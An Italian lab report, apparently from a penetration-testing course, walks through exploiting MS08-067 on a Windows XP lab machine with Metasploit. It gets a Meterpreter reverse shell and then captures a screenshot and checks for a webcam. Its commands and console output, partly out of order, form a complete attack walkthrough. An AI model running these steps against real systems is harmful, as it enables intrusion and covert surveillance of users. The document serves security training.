

Relazione sull'Utilizzo di Meterpreter tramite la Vulnerabilità MS08-067

Introduzione

Oggi viene richiesto di ottenere una sessione di Meterpreter sul target Windows XP sfruttando con Metasploit la vulnerabilità MS08-067. Una volta ottenuta la sessione, si dovrà:

- Recuperare uno screenshot tramite la sessione Meterpreter.
- Individuare la presenza o meno di Webcam sulla macchina Windows XP (opzionale)

Procedura di Attacco

1. Avvio di Metasploit Framework

Ho avviato Metasploit Framework utilizzando il comando:

msfconsole

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Use help <command> to learn more about any command
```



```
_ _ _ _ _  
_#####_ ;"  
_ _ _ _ _ ;d d` ; . _ _ _ ..  
." ddddd'..'dd         dddd','.'dddd "  
'- dddddddddddddddd      dddddddddddddddd d;  
. dddddddddddddddd     ddddddddddddddddd   '  
"--'.dd    -.d        d ,'- .'--"  
".d' ; d          d `.' ;'  
|dddd ddd      d  
' ddd ddd   dd ,  
' dddd      dd .  
, dd       d ;  
( 3 C )      / |__ \ Metasploit! \  
;d'._*_,'."  
'(.,...."/
```



```
= [ metasploit v6.3.55-dev ]  
+ -- == [ 2397 exploits - 1235 auxiliary - 422 post ]  
+ -- == [ 1391 payloads - 46 encoders - 11 nops ]  
+ -- == [ 9 evasion ]
```

```
Metasploit Documentation: https://docs.metasploit.com/
```

2. Ricerca e Selezione dell'Exploit

Ho cercato l'exploit appropriato per la vulnerabilità MS08-067:

```
search MS08-067
```

Ho quindi selezionato l'exploit exploit/windows/smb/ms08_067_netapi:

3. Impostazione dei Parametri

Ho configurato l'IP del sistema bersaglio (RHOSTS), parametri necessario affinché exploit vada a buon fine:

```
set RHOST 192.168.50.103
```

```
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > options

Module options (exploit/windows/smb/ms08_067_netapi):

  Name      Current Setting  Required  Description
  ---      -
  RHOSTS    192.168.50.103  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     445              yes       The SMB service port (TCP)
  SMBPIPE   BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):
msf6 > search MS08-067

Matching Modules

  #  Name
  --  --
  0  exploit/windows/smb/ms08_067_netapi  2008-10-28  great  Yes  MS08-067 Microsoft Se
rver Service Relative Path Stack Corruption

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/m
s08_067_netapi

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > options

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.50.103
```

4. Esecuzione dell'Exploit

Ho lanciato l'exploit:

```
exploit
```

Se l'exploit ha successo, ottengo una shell Meterpreter sulla macchina bersaglio.

5. Controllo

Per controllare che effettivamente siamo sulla macchina bersaglio e per visualizzare le configurazioni di rete delle interfacce sul sistema compromesso, possiamo usare il comando:

ifconfig

```
meterpreter > ifconfig

Interface 1
=====
Name       : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU        : 1520
IPv4 Address : 127.0.0.1

Interface 2
=====
Name       : Intel(R) PRO/1000 T Server Adapter - Packet Scheduler Miniport
Hardware MAC : 08:00:27:0f:04:d5
MTU        : 1500
IPv4 Address : 192.168.50.103
IPv4 Netmask : 255.255.255.0
```

Azioni Post-Exploitation

1. Cattura di uno Screenshot

Una volta ottenuto l'accesso alla shell Meterpreter, ho catturato uno screenshot del desktop della macchina bersaglio:

```
meterpreter > screenshot
```

Il comando ha salvato un'immagine dello schermo attuale della macchina bersaglio, fornendo una visione diretta di ciò che l'utente stava visualizzando in quel momento.

2. Verifica della Presenza di Webcam

Ho verificato se la macchina bersaglio avesse delle webcam collegate:

```
meterpreter > webcam_snap
```

Il comando ha restituito un elenco delle webcam disponibili, ma in questo caso non erano presenti webcam collegate.

```
Screenshot saved to: /home/kali/skAkKoyv.jpeg
meterpreter > webcam_snap
[-] Target does not have a webcam
meterpreter > █
```

